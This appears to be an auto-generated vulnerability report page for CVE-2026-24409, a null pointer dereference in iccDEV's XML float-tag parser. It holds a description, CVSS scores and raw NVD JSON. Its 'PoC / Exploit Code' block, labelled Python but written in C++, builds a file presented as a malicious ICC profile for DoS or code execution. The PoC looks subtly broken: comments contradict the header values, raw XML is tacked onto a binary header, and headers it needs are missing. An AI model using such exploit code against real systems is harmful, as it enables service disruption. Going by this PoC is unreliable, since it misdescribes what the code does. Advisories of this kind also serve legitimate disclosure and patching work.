Security Vulnerability Report
中文
CVE-2026-24409 CVSS 7.1 HIGH

CVE-2026-24409

Published: 2026-01-24 02:15:49
Last Modified: 2026-01-30 18:24:53

Description

iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have Undefined Behavior and Null Pointer Deference in CIccTagXmlFloatNum<>::ParseXml(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV <= 2.3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iostream> #include <fstream> #include <string> // PoC for CVE-2026-24409: Null Pointer Dereference in CIccTagXmlFloatNum<>::ParseXml() // This PoC creates a malicious ICC profile that triggers the vulnerability void create_malicious_icc_profile(const std::string& filename) { // Create a minimal ICC profile with malicious CIccTagXmlFloatNum data std::ofstream file(filename, std::ios::binary); if (!file.is_open()) { std::cerr << "Failed to create file: " << filename << std::endl; return; } // ICC Profile Header (128 bytes) char header[128] = {0}; *(uint32_t*)&header[0] = 0x00000000; // profile size (placeholder) memcpy(&header[4], "acsp", 4); // magic number *(uint32_t*)&header[8] = 0x00000000; // preferred CMM type *(uint32_t*)&header[12] = 0x05000000; // profile version *(uint32_t*)&header[16] = 0x00000000; // profile class *(uint32_t*)&header[20] = 0x6E6F6E65; // color space (RGB) *(uint32_t*)&header[24] = 0x70735952; // PCS (RGB) // Malicious CIccTagXmlFloatNum tag data that triggers null pointer dereference // The ParseXml() function will attempt to parse this crafted XML data std::string malicious_xml = "<?xml version=\"1.0\"?>" "<CIccTagXmlFloatNum>" "<value></value>" // Empty value triggers null dereference "</CIccTagXmlFloatNum>"; file.write(header, 128); file.write(malicious_xml.c_str(), malicious_xml.length()); file.close(); std::cout << "Malicious ICC profile created: " << filename << std::endl; std::cout << "When parsed by vulnerable iccDEV version, triggers DoS or code execution" << std::endl; } int main() { create_malicious_icc_profile("CVE-2026-24409_malicious.icc"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24409", "sourceIdentifier": "[email protected]", "published": "2026-01-24T02:15:48.930", "lastModified": "2026-01-30T18:24:52.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have Undefined Behavior and Null Pointer Deference in CIccTagXmlFloatNum<>::ParseXml(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona librerías y herramientas para interactuar con, manipular y aplicar perfiles de gestión de color ICC. Las versiones 2.3.1.1 e inferiores tienen Comportamiento Indefinido y Desreferencia de Puntero Nulo en CIccTagXmlFloatNum&lt;&gt;::ParseXml(). Esto ocurre cuando la entrada controlable por el usuario se incorpora de forma insegura en datos de perfil ICC u otros blobs binarios estructurados. La explotación exitosa puede permitir a un atacante realizar DoS, manipular datos, eludir la lógica de la aplicación y la Ejecución de Código. Este problema ha sido solucionado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-690"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/9f134c44895edd2edca4bcb97e15c0ba9aa77382", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/484", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-398v-jvcg-p8f3", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}